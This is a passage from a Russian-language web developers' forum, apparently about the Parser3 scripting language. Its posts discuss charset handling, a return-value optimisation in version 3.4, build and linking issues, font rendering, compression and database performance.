на /news/2/ также все подсвечено но ссылка пропадает даже у news"
"70004","В 3.3.0 из cvs'а все нормально, поломалось в 3.4.0b.\
\
p.s. У меня на проектах эта ошибка не вылезла, поскольку используется curl. :)"
"70005","Насколько я понимаю, parser3 имеет такую возможность в файле auto.p.\
А есть ли возможность вручную указать библиотеку для parser2?"
"70006","Спасибо всем, в таблице действительно был DATE, на старом сервере все работало. \
\
В общем CONVERT('^date.sql-string[]', DATE) спасло."
"70008","Тем более она используется в Ext GWT."
"70009","была-ли ошибка в 3.3.0 я не проверял. но вроде не жаловались :)"
"70012","только это очень простая задача, соотв. если сделать её за вас, то вы просто зададите следующий аналогичный, очень простой вопрос, вместо того, чтобы подумать и понять логику, в которой надо выстроить уже написанные вами 3 if-а."
"70013","Судя по Вашей трассировке http://www.parser.ru/forum/?id=69897, Parser нашел-таки sendmail. И даже ему передал текст письма\
GIO fd 4 wrote 19 bytes \
\
Но вот почему-то после этого вылетел с ошибкой. А вот почему это произошло, уже вопрос к разработчикам.\
\
То есть вопрос к разработчикам Parser2: какой код возврата ждет Parser2 от sendmail?"
"70015","GET-запрос приходит в windows-1251, $request:charset, $response:charset, классы - utf-8. Соответственно, при использовании регулярного выражения, Parser ругается: validation of UTF-8 string failed while pcre_exec (-10), также виснет и MySQL с charset utf8. При смене $request:charset на windows-1251 с запросом уже можно работать, при смене $response:charset все почти хорошо, кроме РїСЂРѕРІР?СЂРєР° в ответе. Выход только в перекодировке еще и классов в ANSI? Или есть варианты оставить все в utf-8?\
Спасибо."
"70016","Здравствуте - я один год тому назад выложил исходники моей ЦМСки. \
Теперь сделал немного с ней н выкладаю опять. Тоже написал я что нибудь о ней. \
посмотрите: [url=\"http://cms.forjesus.eu\"]http://cms.forjesus.eu[/url]\
\
внимание:\
для проверки demo admin и скачяния исходников пользуйте:\
посетитель: demo\
пароль: cmsADMIN"
"70020","конкретней, что у вас в строке запроса в случае руского слова 'тест'?\
%D1%82%D0%B5%D1%81%D1%82\
или\
%F2%E5%F1%F2\
\
если первое -- то запрос вам пришел в UTF-8 и всё должно работать.\
если второе -- то запрос вам пришел в 1251, тогда как вы ожидаете его в utf-8 ($request:charset) -- не работает и не должно."
"70021","не надо описывать ваши бездумные шаманства с кодировками.\
\
определитесь, что вы хотите иметь в итоге: в какой кодировке вы хотите хранить файлы и в какой хотите получать данные от посетителей и сооты. отправлять им ответы.\
\
когда определитесь -- приходите."
"70022","Определился, пришел ...\
Xочу в UTF, но кириллица GET-ом приходит в WIN, что делать?"
"70024","Спасибо большое, с проблемой разобрался, намудрил в одном месте (кодировка), а проверить в голову не пришло =)"
"70025","Сообщение:\
[Fri Jun 05 15:34:07 2009] [3428] /?test=%F2%E5%F1%F2: c:/server/test/auto.p(16:30): '\\.' validation of UTF-8 string failed while pcre_exec (-10). [pcre.execute] [uri=/?test=%F2%E5%F1%F2, method=GET, cl=0]\
\
Код:\
[code]@main[]\
^$request:charset[$request:charset]<br />\
^$response:charset[$response:charset]<br />\
^if(def $form:test){\
		$test[$form:test]<br />\
		^$form:test[$test]<br />\
		$_test[^test.match[\\.][g]{}]\
}[/code]"
"70028","ну сами посудите: как догадаться, в какой кодировке пришел запрос?\
\
а если его закодируют в кодировку, которая вам вообще неизвестна?\
\
или одну букву пришлют в одной кодировке, а другую -- в другой?\
\
\
вы конечно можете заниматься декодированием $request:query, однако в общем случае непонятно даже то, как убедиться в том, что декодирование произошло успешно.\
\
или вы можете переключать кодировку response:charset и также доставать данные из form и как-то пытаться определить, что всё декодировалось успешно.\
\
но смысла в этом немного. ваш сайт сообщает клиенту, в какой кодировке он работает (ведь вы же выдаёте корректный $response:content-type с кодировкой?). если клиент шлёт данные в какой-то другой кодировке, то это -- неадекватный клиент и я предлагаю постать его.\
\
\
правда бывает ещё случай: например ваш сайт живёт в кодировке 1251, но есть некоторые странички, которые должны принимать данные например в UTF-8 (например странички, принимающие данные от js-frontend-а). решение простое и очевидное: на этих страничках укажите $response:charset==utf-8 и всё."
"70029","[code]$time[$news.date]\
^time.match[(\\d+)-(\\d+)-(\\d+)][]{\
$day($match.3)\
$month($match.2)\
$year($match.1)}[/code]\
\
Дата берется из базы."
"70030","Любой из Ваших следующих вопросов, ответ на который есть в документации по языку, будет удален без предупреждений."
"70034",">То есть вопрос к разработчикам Parser2: \
\
Разработчиков parser2 нет уже лет 7, как раз столько существует 3-ий парсер.  :)\
\
>какой код возврата ждет Parser2 от sendmail?\
\
Нулевой (в данном случае 1).\
\
Но вообще по этому логу проблем не видно - письмо получается передается sendmail, значит как минимум отправиться должно.\
\
\
P.S. Вобще в NIC молодцы - ktrace делают, не ожидал..."
"70036","Есть регулярное выражение проверяющее правильность написания мыла. Просто в html-ке работает, а вот парсер ругается. Подскажите пожалуйста как правильно заэкранировать символы?\
<script language=\"javascript\">\
...\
    i = s.search(/^(\\w|-|\\.)+[@](\\w|-)+\\.(\\w|-){2,}(\\.(\\w|-){2,}){0,}$/) ;\
...\
</script>"
"70038","спасибо! в моей доке небыло User comments."
"70039","а если придет действительно bad request, то он этом apache (или другой сервер) сам сообщит."
"70043","parser3.C:616: error: first argument of ‘int main(size_t, char**)’ should be ‘int’\
\
В остальном, _test.html работает asis в cp1251 на amd64. Включу изменения из этой ветки в дебиановский пакет, спасибо.\
\
UTF8-версия _test.html все-еще требует комментирования строк с trim both/start/left.\
\
PS: собирал buildall-with-xml"
"70044","Он плохой, потому что ПО не сумело его распознать.\
\
И ПО явно говорит, что не «я упало от такого запроса», а «запрос у тебя кривой, я такого не понимаю»."
"70045","Как на картинки добавляют \"водяные знаки\" и т.д.?\
Чтобы на сервере были чистые картинки, а при выводе в броузер на них накладывался определенный логотип."
"70047","Так это текст, а я про рисунок, логотип имел ввиду."
"70049","Нечего лучшего не найдёться как ImageMagick"
"70051","Это в моем случае. К сожалению на официальном сайте xnview документации к конвертеру нет (("
"70054","По совету заключил различия (например строка подключения к БД) между локальным сервером и хостинг-сервером в отдельный файл \
var.p\
$connect_string[mysql://root@localhost/sql_db]\
\
в auto.p (или других html-страницах) подключаю модуль \
auto.p\
...\
^use[/cgi-bin/var.p]\
$connect_string\
...\
\
ничего не выводит: $connect_string не определена.\
Подскажите как можно подключать файлы с кодом так, как будто бы они набраны с клавиатуры? (в рнр я использовал require_once)"
"70055","nconvert работает на юниксах?"
"70056","Про [url=http://www.parser.ru/docs/lang/app1.htm]пути к файлам[/url] и [url=http://www.parser.ru/docs/lang/app1pathclass.htm]методе поиска модулей[/url] хорошо написано в документации."
"70057","... исходники утилиты недоступны, поэтому я бы все-таки рекомендовал использовать [url=http://www.imagemagick.org/script/index.php]ИмаджМэджик[/url].\
\
p.s. http://www.xnview.com/en/nconvert.html"
"70058","а если мне опреденный модуль нужен только в 3х страницах из 10, то мне надо 3 раза прописывать его в каждой странице, или прописать в auto.p и 7 раз из 10 он мне не понадобится?\
\
Пути к файлам я правильно прописал. если ставлю неправильный путь - парсер ругается."
"70059","NConvert\
[quot]Commercial use is not authorized without agreement.[/quot]"
"70060","Вполне возможно, что вам поможет встроенная в Парсер систем [url=http://www.parser.ru/docs/lang/mainclass.htm]сборки класса MAIN[/url] из подкаталогов. \
\
Кроме того, имеет смысл подумать о единой \"точке входа\" для ваших скриптов: через mod_rewrite закидываете запрос на какой-нибудь /_index.html, который уже собирает ответ из нужных классов."
"70061","Интересный проект, немного непривычный интерфейс, мне понравилось :)\
\
Нужно еще исходники посмотреть внимательней, но в целом хорошее впечатление. Спасибо за ваш труд!\
\
P.S. CMS (ЦМС) - Content Managemen System - Система управления контентом. \"Система\" слово женского рода.\
Поэтому правильней писать \"Простая CMS\".\
\
Или оставить мужской род, но написать \"Прост[b]о[/b]й ЦМС\", а не \"Прост[b]ы[/b]й\".\
\
Это не так важно, просто решил уточнить: вдруг будет полезно :)"
"70062","Если в хроме открыть документацию и перейти в HTML-формат, то вместо левого рубрикатора имеем страницу \"Документ http://www.parser.ru/docs/lang/: не найден.\"."
"70064","Работает ли? Не могу собрать"
"70066","Собрал. Разобрался)\
Или мои знания английского (INSTALL) меня подвели...\
\
Или пора-бы INSTALL поменять)"
"70067","Речь идет о размерах файлов 50-100 МБ.\
Проблема заключается в том, что парсер после нескольких секунд работы по парсингу XML и заносу в MYSQL базу зависает, и остается в памяти, отожрав 500-700 МБ оперативы, и при этом использует 0% CPU. Решается только kill-ом...\
\
В цикле перебора регулярно делаю memory:compact - не помогает.\
\
При размерах файолов 5-10 МБ все работает на ура.\
\
Подозреваю, что не предусмотрено парсером такие размеры XML обрабатывать... Может кто подскажет мудрое решение? Может тулза есть какая, которая бъет XML на куски с сохранением структуры... Или другое средство для заноса инфы в базу из XML..."
"70072","Есть класс.\
В нем есть метод\
В этом методе по циклу вызывается метод в котором вызываеться метод)\
\
В методе явно определен $result.\
После определения ^throw[asd;asd;$result] выводит коректный результат.\
\
Но если сам вызов обернуть throw - ^throw[asd;asd;^getXmlContent[$sPath]]\
\
выводит кучу пустых строк"
"70073","... т.е. нужен один файл в котором воспроизводится ситуация."
"70074","я сам непойму... на одном сайте при разных условиях работает по разному...\
\
пока сделал в лоб - убрал result и сделал вывод прям в теле метода"
"70075","Багофича явно в 3.4.0(Linux) в 3.3.0(Windows) все работало"
"70076","Да, в 3.4.0 теперь есть оптимизация, работающая в зависимости от использования $result - если $result используется, то весь  остальной вывод метода игнорируется (а значит экономится процессор и память).\
\
Что будет работать некорректно: когда при одном вызове $result используется, а при другом нет. Типа\
\
[code]@method\
^if($expression){ $result[это] }{ другое-значение }[/code]\
\
То есть метод должен либо всегда использовать $result, либо всегда не использовать. Если у вас с этой точки зрения все правильно, ждем _bug.html"
"70077","Спасибо Константин! :)\
\
У меня result лежал в if`e\
 \
[code]^if(-f $sPath){\
 ...\
 $result[$sContent]\
}{\
 $result[]\
}[/code]\
\
так работает)"
"70078","Во всяком случае должно. :)\
\
Главное чтобы во всех ветках/случаях было присвоение. Например чтобы снаружи этого не стоял еще один ^if. :) Простой способ не думать об этом - $result[] в начале."
"70079","Что значит LDFLAGS=\"-lstdc++\" ? Почему в некоторых случаях без этой опции не работает тот же mysql драйвер?\
Спасибо"
"70080","1. Такое поведение актуально только при объявлении result'а в качестве локальной переменной или при наличии хотя бы одного $result в методе?\
\
Касательно новой оптимизации в парсере:\
2. Имеет ли смысл объявлять локальный result в каждом методе при условии, что все медоты возвращают данные только через $result (привычка такая)? Интересуют скорость и расход памяти.\
\
2.1 Влият ли объявление locals в методе или целом классе на объявление локального result'а, т.е. не заменяет ли locals собой result?"
"70081","LDFLAGS\
Указывает компоновщику, какие библиотеки подключать (-I) и где их найти (-L).\
\
stdc++\
Cтандартная библиотека GNU C++"
"70082","[code]$tData.[$tColumns.column][/code]\
\
такая запись не работает в 3.4 . Чего я еще не знаю?)))"
"70084","[quote]2. Имеет ли смысл объявлять локальный result в каждом методе при условии, что все медоты возвращают данные только через $result (привычка такая)? Интересуют скорость и расход памяти.[/quote]\
\
Да, конечно имеет - на этапе [b]компиляции[/b] будет выкинут лишний whitespace.\
\
[quote]2.1 Влият ли объявление locals в методе или целом классе на объявление локального result'а, т.е. не заменяет ли locals собой result?[/quote]\
locals - по-моему это совсем про другое.\
\
Описанная мной оптимизация - работает во время [b]выполнения[/b]. Грубо говоря, после первого запуска метода смотрится факт использования $result и этот факт запоминается. Выигрыш понятно единицы процентов, хотя можно придумать ситуацию, когда разница будет существенной. На тестовой странице Imprimatur I - расход памяти 8876кб - c оптимизацией, 9216кб - без нее."
"70085","версия 3.4 сейчас в активной разработке? :) И еще вероятно с пару недель будет в таком состоянии?\
\
Так что пока 3.4 - для тех, кто хочет помочь разработчикам. Удивляться наличию ошибок в ней не стоит, а следует делать _bug.html.  Примем с благодарностью, ошибка будет исправлена, код добавлен в копилку тестов. :)"
"70086","[quote]locals - по-моему это совсем про другое.[/quote]\
\
Ну как, locals делает все переменные локальными, получается, что и $result становится локальным (явно объявленным).\
Но понятно, что сам $result и объявленный result -- системные переменные, которые обрабатываются отдельно. Это я в качестве бреда подумал такое о locals:-)\
\
С остальным всё понятно. Спасибо, moko!"
"70087","Парсерная библиотека mysql тоже использует C++. А поскольку это .so (аналог .dll), библиотека C++ в зависисмости от погодных условий (например версии OS в случае FreeBSD) по умолчанию подлинковыватся либо статически, либо динамически. Если статически, проблем нет, а если динамически - то и парсер должен быть собран с ней динамически, иначе просто не происходит загрузка .so. Усугубляет ситуацию, что зависимости .so в отличии от обычных бинарников через ldd не посмотришь.\
\
Но в целом - ничего сложного. :)"
"70088","locals - на самом деле меняет механизм поиска переменных (упрощает процедуру).\
\
Что же касается декларирования, $result - автоматически заводится всегда. А его явная декларация - лишь указание компилятору включить режим оптимизации."
"70090","ОК ) Буду параллельно вести версию своего проекта на parser3.4)"
"70092","[url=\"http://leprastuff.ru/data/img/20090608/48eaff2c9e4b9d54ca8c5e1de12acb3b.gif\"]Вот картинка[/url].\
\
Фиолетовые полоски это крайний правый пиксель у самого широкого символа (левая полоска) и крайний левый пиксель у всех символов (правая полоска).\
\
[i]Собственно вопрос[/i]: откуда берётся пиксель между ними?"
"70094","в настоящее время там всё меняется почти каждый день и не все изменения всегда рабочие (и хотя обычно мы не коммитим то, что не проходит тесты, тесты не покрывают всего многообразия конструкций языка и соотв. иногда head версия может вести себя неадекватно в реальных условиях)."
"70095","<img src=\"лётчик.jpg\" />\
\
Ну что ж непонятного. Есть гиф-файл со шрифтом. Ширина 35 пикселей, по самому широкому символу. [url=\"http://whitespace.ru/file/twitter-font.gif\"]Вот он[/url].\
\
[code]$sAvailLetters[.!#^$%*/?|^^^{^}`~&'+-=_@0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]\
$fFont[^image::create(500;500)]\
^fFont.font[$sAvailLetters;font.gif](0)\
^fFont.text(100;100)[root@yandex.ru]\
$response:body[^fFont.gif[]][/code]\
\
На выходе картинка, [url=\"http://leprastuff.ru/data/img/20090608/48eaff2c9e4b9d54ca8c5e1de12acb3b.gif\"]часть которой[/url] в первом посте. [url=\"http://whitespace.ru/file/Untitled-8.gif\"]Там видно[/url], что ширина от полоски до полоски ровно 35 пикселей, однако между ними 1 пискель присутствует.\
\
[i]Вопрос[/i]: почему?"
"70097","т.к. это runtime-оптимизация. для того, чтобы на этапе выполнения понять, есть ли в методе result или нет, надо выполнить все возможные ветки (а для этого, в общем случае, могут подребоваться иные данные).\
\
определение наличия явного присвоения result-у во время компиляции также полностью не решает проблему, т.к. кодер запросто может написать так:\
[code]\
$name[result]\
$$name[значение]\
[/code]\
\
название переменной может придти извне, или кто-то может записать в result метода ($caller.result[...]).\
\
и без выполнения всех веток однозначно определить наличие в методе записи в result невозможно (соотв. и ругнуться невозможно).\
\
\
однако выигрыш от подобной оптимизации оказался существенным, поэтому мы решили пойти на некоторую ломку обратной совместимости, особенно учитывая тот факт, что с нашей точки зрения писать код, который иногда возвращает содержимое result, а иногда содержимое тела -- плохой стиль :)"
"70099","Если наличие $result определяется динамически после первой компиляции, то почему бы не сравнивать при следующих выполнениях факт обнаружения $result и результат, состоящий только из пробелов и табуляций (ситуация, описанная в начале топика), и при успешном сравнении создавать что-то вроде $debug_explicit_result_found[имя_оператора]?"
"70102","основная идея как раз в том, что если было обнаружено использование result, то при следующем вызове не накапливать эти пробелы, табуляции и прочий output, а просто игнорировать его, как ненужный."
"70103","хотя как мне сообщали, и без этого всё собиралось.\
\
т.е., насколько я понимаю, собираемость зависит от ОС (компилятора)."
"70104","[quote]т.е., насколько я понимаю, собираемость зависит от ОС (компилятора).[/quote]\
\
ну, некоторым компиляторам немножко совсем наплевать на стандарты\
\
а в g++ (< 4.3), возможно, какое-то время это было warning'ом"
"70105","1) В какой-то момент определили наличие $result\
2) Выполняем с оптимизацией\
3) По окончании проверяем: result определен? Нет? Exception."
"70106","Здравствуйте...\
\
У меня такая проблема. Когда хочю отправлять посьмо в методе @auto[] в корневом auto.p парсер гаварит что у него нет определённой переменной smtp. В конфигурацённом фйле ест всё в порядке. Когда я отправляю посьмо через метод @main[] всю делаються хорошо. \
\
[code]send\
$MAIN:MAIL.SMTP not defined\
S:/auto.p(85:7)[/code]\
\
Почему? В доке пишут что [quote]Считываются, компилируются и инициализируются Конфигурационный файл; затем все файлы с именем auto.p[/quote] Даже когда я в auto.p определил [code]$MAIN:MAIL.SMTP[/code] парсер тоже гаворит что я не определил..."
"70107","Делал ли кто нибудь компрессю HTML на парсере?\
В PHP просто делаеться через  \
\
[code]\
ob_start(\"ob_gzhandler\");\
ob_end_flush();\
[/code]"
"70109","Для Апача:\
http://httpd.apache.org/docs/2.2/mod/mod_deflate.html\
http://sysoev.ru/mod_deflate/"
"70110","[code]\
$MAIL[\
	$.SMTP[localhost]\
]\
[/code]"
"70111","Харошо, ну что делать когда хостер не хочеть поддерживать deflate"
"70112","И такое место есть см. метод result(), http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/types/pa_vmethod_frame.h?rev=HEAD\
\
Проблема в том, что exception ухудшит совместимость. Сейчас в этом случае возвращается пустое значение, что сработает для всех случаев, когда $result просто забыли присвоить значение.\
Типа [code]^if($a){ $result[<$a>] }[/code]\
\
Случаи же когда умышленно делается [code]^if($a){ $result[<$a>] }{ <default>} [/code] - скорее исключение, поэтому и выбран вариант без exception."
"70113","...что эта функция нужна, в первую очередь, им самим. Если хостеру плевать, то и Вам не стоит по этому поводу волноваться.\
\
p.s. Надеюсь, что в Парсере подобный функционал никогда не появится."
"70114","почему?\
В каких-то ситуациях может и пригодится."
"70115","Есть сайт. Есть данные. Tсть числовые данные. Некоторые из них - 12-разрядные.\
\
Требуется для удобства восприятия при выдаче раздвигать эти числа по три разряда с конца, обрамляя группы цифр таким образом, что [code]<span style=\"margin-left: 1em^;\">345</span>[/code].\
\
То есть, имея $chpok[12345678], вывести строку\
12 345 678.\
\
[b]Как циклически отхватывать по три цифры справа налево[/b], пока число не кончится? Намекните, пожалуйста."
"70117","[code]@main[]\
^formatNumber[9988889879834;&nbsp^;]\
\
@formatNumber[number;separator]\
$result[^number.match[(\\d)(?=(\\d{3})+^$)][g]{${match.1}$separator}]\
[/code]\
\
--> 9 988 889 879 834"
"70119","1 пиксель - это минимальное межбуквенное расстояние\
для примера вот: http://www.spearance.ru/parser3/fonts/"
"70120","Сайт может использовать ежедневно трансфером 1200MB без gzip. С компрессю тот же сам сайт будеть использовать только 700MB. Покупаешь хостинг на 300GB/г. Без компрессю не хватить."
"70122","Ибо траффик, а на медленных соединениях еще и скорость"
"70123","данная функциональность уже реализована в веб серверах. и кроме того, что она реализована, она реализована на довольно низком уровне правильно и интеллектуально.\
\
в свете этого смысла добавлять механизм, с помощью которого при определённых условиях и с определёнными трудозатратами можно сделать аналогичное, но на парсере -- не много."
"70124","Минимальное межбуквенное расстояние - это параметр у метода, который по дефолту может быть единицей, но в любом случае должен регулироваться."
"70126","С тем же успехом можно отрезать или добавлять справа пиксели\
в файле со шрифтами - эффект практически тот же."
"70127","Берём файл со шрифтом и заливаем его весь голубым цветом. Потом пишем эти шрифтом какой-нибудь текст. Ну, скажем: \"Hello world!\".\
\
В результате имеем вот [url=\"http://whitespace.ru/file/Untitled-3.gif\"]такую картинку[/url]. С какой строны шрифта мне нужно отрезать или добавить пикселей, чтобы пропал пиксель между символами на выходе?"
"70128","в вашем случае это решается так (увы, минус правый пиксель):\
[code]\
^fFont.font[$sAvailLetters;font.gif](34;34)\
[/code]\
\
мне это кажется багом, хотя документация по этому поводу ничего не говорит, а я никогда этим не пользовался и даже не представляю, как идеологически правильнее это должно быть. с моей точки зрения этого интервала быть не должно, т.к. это всё-таки работа с графикой."
"70129","Уже делал так, но, блин, шрифт же становится моноширинным..."
"70130","Иначе буквы слипнутся. :)\
\
То есть по-моему все работает правильно. Если шрифт не моноширинный, определяется ширина каждой буквы и добавляется интервал (без него слипнется). Недостаток только в том, что этот интервал не настраивается. То есть его можно увеличить добавляя пустых пикселей слева, но уменьшить не получится (хотя и не очень понимаю где это в реальной жизни нужно)."
"70131","[code]^iFont.font[$sAvailLetters;$sFont](-2)\
$sText[a b c d e f]\
^iFont.text(0;0)[$sText][/code]\
\
То есть текст с пробелами, но за счёт отрицательного значения, пробелы убирают этот лишний пиксель. Прокатит только если написать неразрывное слово, поэтому, было б здорово, если этот баг/недочёт был бы допилен."
"70133","избыток CPU, недостаток трафика"
"70135","В auto.p пишем:\
\
\
[code]\
@main[]\
^pre[]\
^pri[]\
\
@pre[]\
Тест\
\
@pri[]\
Тест 2\
[/code]\
\
В index.html не пишем ничего.\
\
При обращении к index.html функция main не вызывается.\
на этом форуме есть тема с этой проблемой. Там посоветовали удалить все пробелы перед main, но мне это не помогло.\
Парсер работает. Функции pre и pri вручную из index.html вызываются нормально.\
Что делать?"
"70137","Всё!\
Дошло.\
Если html не начинается с определения функции, то его тело считается переопределением метода main и перегружает тот main, который в auto.p.\
\
Я все таки have RTFM.\
\
P.S. Cпасибо за оперативность\
P.P.S. Интересный язык. Нравится."
"70138","Есть ли такие решения?"
"70139","26479 user      1  -8    0 11548K  8536K piperd 2   0:00  0.00% parser3\
\
И так висит пока не снимешь...\
Как избегать?\
\
FreeBSD 7.1-RELEASE FreeBSD 7.1-RELEASE #0: Thu Jan  1 14:37:25 UTC 2009     ro\
ot@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386\
\
Parser/3.3.1b (compiled on i386-unknown-freebsd7.1)\
Copyright(c) 2001-2008 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)"
"70140","piperd - значит уже отработал (судя по размеру) и пишет вывод в apache. Apache же читает только до размера буфера TCP/IP (порядка 32-х кб, в зависимости от настроек), затем пишет клиенту. И пока все не будет считано и передано клиенту, процесс парсера висит (может длиться минуты). Это если ответ полностью помешается в буфер TCP/IP парсер сразу выходит. Но если парсер висит бесконечно и при этом соотвествующего apache с активным соединением нет - да, это похоже на проблему, но не факт что в парсере. \
\
Если не разбираться, то проще поднять размер буфера до размера большего размера страницы. Если не ошибаюсь, sysctl net.inet.tcp.sendspace / net.inet.tcp.recvspace."
"70141","Подскажите, я взял дистрибутив с Google Code,  поставил с обновлениями, все ок работает, сгенерил новый пароль, и вот в админке работают: Настройки, Опросы и Пользователи и группы.\
Все остальное выдает ошибку - \"Возникла ошибка\"\
Я вот тут не могу понять, снаружи работает, а в административной части нет. Думал что что то с ЧПУ, но все коректно, снаружи и внутри, почитал что у вас про структуру написано, думал классы не подключены, но тогда как снаружи то работает?)) \
Мой хостинг требует RewriteBase / иначе ошибку 500 выдает, может это быть из-за этого? сайт _http://mosoffis.ru/"
"70142","С [b]RewriteBase[/b] у меня были проблемы но как-то их решили за счет правки .htaccess.\
Насчет работы модуле - все должно работать. Попробуйте \"собрать\" на локальной машине и отследить ошибки. Когда вы будете работать с локальной машины обработчик ошибок будет все показывать.\
\
Пока мне сложно сказать в чем причина. Допускаю, что где-то косяк, но \"Возникла ошибка\" ничего не говорит.\
\
[b]PS.[/b]\
Для ускорения можете выслать пароль на админку и я посмотрю что и как. Однако тогда нужно вручную включить лог ошибок:\
в файле auto.p раз-комментируйте $result[$result2]"
"70146","Тоесть теперь\
@mmm[zzz]\
$zzz\
\
не выведет каких-либо данных?"
"70147","вы бы цитату до конца дочитали :)\
\
\
это будет нормально работать. $result -- не обязателен.\
\
в новости же пример приведён, как работать не будет.\
\
вот ещё ссылка по теме: http://www.parser.ru/forum/?id=70076"
"70148","Методы в которых _НЕ_ определена переменная $result будет, как и ранее, возвращать все, что сформировалось внутри метода.\
\
Речь идет только о ситуации, когда метод может возвращать как result, так и результат работы всего кода - это перестанет работать. Просто возьмите себя за правило не допускать подобного двойственного поведения метода."
"70150","А ну тогда это хорошо. Я кстати думал что оно так и работает :)"
"70151","Написал на паскале прогу, которая бъет XML на куски с сохранением структуры :) Парсер вызывает wget, потом мой сплиттер - и после этого обрабатывает последоватьельно все куски."
"70152","проблема в том, что для того, чтобы получить выигрыш в этом случае, надо открыть код и исправить кучу мест. понятно, что делать это никто не будет, т.е. оптимизации фактически нет :("
"70153","И все, кого интересует расход памяти - исправят, уверен. А кого не интересует - тому в принципе всё равно, будет оптимизация или нет. \
Неужели невидимая ошибка считается меньшим злом?"
"70154","Можно ли сделать так?\
\
[code]^if(сайт тестируется на локалхосте){\
    $connect_string[параметры для локалхоста]\
    }{\
    $connect_string[параметры для удаленного сервера]\
    }[/code]\
\
По какой переменной это можно определить?"
"70155","Вопрошаю\
Хочу взять сервер с Dual Xeon-2.8 GHz\
\
Парсер(+xml +mysql) соберется? А главное будет ли работать?"
"70156","[quote]Теперь Parser3 собирается и работает на 64-битных системах.[/quote]"
"70158","А выигрыш в производительности на x86_64 имеется?"
"70160","По сути вы получаете возможность адресовать более 4ГБ (на самом деле более 3) оперативной памяти. По скорости разницы Вы не увидете практически никакой. При этом потребеление памяти Парсером может быть значительно больше, чем на 32-битных системах (на моих тестах до 80% больше), но это с лихвой компенсируется возможностью работы с бОльшим объемом памяти для СУБД и прочих ресурсоемких приложений, что может положительно сказаться на производительности системы вцелом."
"70161","для того конфигурационный файл и вынесен отдельно, чтобы не надо было писать что-либо подобное.\
\
ведь при переносе на хостинг вы не копируете туда parser.[b]exe[/b]? вот и конфигурационный файл с локальным connect-string туда нечего копировать."
"70162","На локалхосте сайтов несколько, а конфигурационный файл один. У каждого сайта своя БД. Как быть с этим?"
"70163","Там описано как задать путь к конфигурационному файлу. Достаточно настроить все это для каждого вирутального хоста в апаче (на локалхосте может висеть сколько угодно вирутальных хостов)."
"70164","Спасибо! У меня как раз такая проблема была =)"
"70166","возникает такая ошибка:\
[code]dlopen(/Applications/MAMP/cgi-bin/lib/libparser3mysql.dylib, 9): image not found[/code]\
Стоит сервер MAMP. Все работает кроме mysql. Объясните пожалуйста в чем суть проблемы и как можно решить."
"70167","лично я не заморачиваюсь с указанием пути к конфигурационному файлу.\
\
мне было совсем не сложно настроить локальный апач на поддержку виртуальных серверов и положить N исполняемых файлов (для каждого сайта -- свой) с N конфигурационными файлами. код получается проще, сайты более независимы и не надо заниматься правками пути в htaccess при переносе на хостинг (htaccess-то переносится, в отличии от конфигурационного файла, который настраивается на хостинге один раз).\
\
а то, что на диске лежит несколько parser.exe -- не велика потеря для 500 ГБ винчестера :)"
"70168","[quote]По скорости разницы Вы не увидете практически никакой[/quote]\
\
Ну почему - немного медленнее будет. :)\
\
[quote]но это с лихвой компенсируется возможностью работы с бОльшим объемом памяти для СУБД и прочих ресурсоемких приложений[/quote]\
\
И поэтому пусть OS будет 64-х битная, а парсер работает\
в режиме совместимости (32-х битный). Поскольку ему адресовать\
гигабайты памяти уж точно необходимости нет. :)"
"70169","[quote]Ну почему - немного медленнее будет. :)[/quote]\
\
Не вводите общественность в заблуждение, всем известно, что будет ровно вдвое быстрей — битов-то в два раза больше!\
\
[quote]парсер работает в режиме совместимости (32-х битный). Поскольку ему адресовать гигабайты памяти уж точно необходимости нет. :)[/quote]\
\
Вы недооцениваете Парсер!"
"70170",">Неужели невидимая ошибка считается меньшим злом?\
\
В нашем коде мы пока даже не видели мест, где бы это привело к ошибке. Предупреждение скорее на всякий случай.\
\
Кому не нравится - может поправить исходники, например сделать #define CALL_OPTIMIZATION_DEBUG для поиска проблемных мест. :)"
"70171","[quote]Не вводите общественность в заблуждение, всем известно, что будет ровно вдвое быстрей — битов-то в два раза больше![/quote]\
\
Не увидел смайлика. Поскольку понятно, что при прочих равных будет скорее всего на ~10% медленнее (размер кешей, пропускная скорость шины памяти не меняется, а объем операций с памятью существенно увеличивается). И даже выигрыш от увеличения числа (а тем более размера) регистров едва ли здесь поможет - парсер все таки в основном работает с памятью.\
\
[quote]Вы недооцениваете Парсер![/quote]\
\
:) Тут дело даже не в парсере, а в библиотеке сборки мусора (libgc) Она и собрана из расчета на средний heap, плюс вообще у нее проблемы с управлением хипом большого размера."
"70172","Смайлы не использую, извините если ввёл в заблуждение."
"70173","вот скирипт\
<script type=\"text/javascript\">\
function chkNum(obj){\
for(var i=0;i<document.forms[\"myform\"][\"myrad\"].length;i++){\
if(document.forms[\"myform\"][\"myrad\"][i].checked){\
num=i.toString()\
}}\
switch(num){\
case \"0\":\
obj.value = obj.value.replace(/[0-9]/g,'')\
break\
case \"1\":\
obj.value = obj.value.replace(/[^0-9\\.]/g,'')\
break\
}}\
}\
\
вывод\
\
<input name=\"cena\" maxlength=\"10\" size=\"10\" style=\"background: url('')\" onkeyup=\"chkNum(this)\"/>\
<input type=\"radio\" name=\"myrad\" checked> Numbers only<BR>\
<input type=\"radio\" name=\"myrad\"> + dots<br>\
\
Парсер материться на (/[0-9]/g, вторую \"]\" как быть?"
"70175","[code]\
@main[]\
^connect[sqlite://:temporary:?autocommit=1]{\
  ^void:sql{\
    DROP TABLE IF EXISTS mss\
  }\
  ^void:sql{\
    CREATE TABLE IF NOT EXISTS mss (id int,mess text)\
  }\
	\
  ^for[i](1;200){\
    ^void:sql{\
      INSERT INTO mss (id,mess) VALUES\
     ('^math:random(2000000)','^math:md5[^math:random(2000000)]')\
    }\
  }\
}\
[/code]\
Этот код выполняется на моем компе (ms vista,c2d e8400, 2gb) примерно 4 секунды, аналогичный код для mysql - 0,03. Происходит так потому, что sqlite после каждого COMMIT закрывает файл, а перед следующим запросом (BEGIN) открывает, что на винде сказывается на производительности [b]фатальным образом[/b] (слышал, что на *nix по-другому, но неначем проверить). Если количество итераций сделать 20000, то всё совсем печально - парсер ведет себя загадочно, несколько минут (~8-10) пишет в базу, а потом самоликвидируется без каких-либо ошибок и результатов, т.е. браузер продолжает ждать еще, пока сам не отвалится по таймауту.\
\
